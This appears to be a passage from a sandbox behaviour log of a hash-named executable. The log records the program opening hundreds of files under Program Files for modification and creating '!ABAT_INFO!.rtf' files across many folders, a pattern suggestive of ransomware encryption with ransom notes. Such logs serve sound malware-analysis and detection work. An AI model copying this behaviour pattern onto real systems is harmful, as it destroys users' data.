C:\Program Files\Java\jre7\lib\zi\Asia\Dubai 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\THIRDPARTYLICENSEREADME-JAVAFX.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Maldives 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\fi.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\ResourceInternal.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Lord_Howe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-oql.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\San_Luis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.common_2.10.1.v20140901-1043.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-dialogs.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\javacpl.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Sakhalin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\blacklist 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\asl-v20.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.oracle.jmc.executable.win32.win32.x86_64_5.5.0 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\boot_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Moscow 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\EScript.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_cs.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-services.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-coredump.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Kentucky\Louisville 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\ko.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\MSBuild\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_ja.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\sunec.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-progress.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\MST7MDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\XmlFile.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\dblook.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-execution_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Luxembourg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\sunjce_provider.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Thunder_Bay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kamchatka 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application-views_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Tell_City 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\NewAssert.lock 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\eclipse_update_120.jpg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Blanc-Sablon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hebron 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Moncton 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-api-caching_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Apia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\uarrow.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\core_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\Music.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cambridge_Bay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\cmm\LINEAR_RGB.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaBrightItalic.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\setNetworkServerCP.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\startNetworkServer 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rainy_River 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Macquarie 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Qyzylorda 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Omsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Santiago 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Faroe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\vimeo.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\eclipse_update_120.jpg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\setNetworkClientCP 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\sysinfo.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\javaws.policy 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Dublin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\COPYRIGHT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-sampler.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\Argentina\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Kerguelen 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guayaquil 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Simferopol 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\WatchUnblock.inf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Iqaluit 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\vocaroo.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\flavormap.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\mix.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.dom.svg_1.1.0.v201011041433.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.httpclient4_1.0.800.v20140827-1444.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Knox 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\MET 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerActions.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Volgograd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Installer\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\London 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\Seyes.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\SplashScreen.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Novosibirsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup-impl_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateCore.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Thule 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.docs.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Regina 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javap.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Rothera 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Africa\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+11 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.filesystem_1.4.100.v20140514-1614.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt_3.103.1.v20140903-1938.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-common.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\THIRDPARTYLICENSEREADME.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\Center 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\calendars.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\management\jmxremote.access 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Lisbon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\en-US\Journal.exe.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\chrome.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\unpack200.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\meta-index 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-8 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files 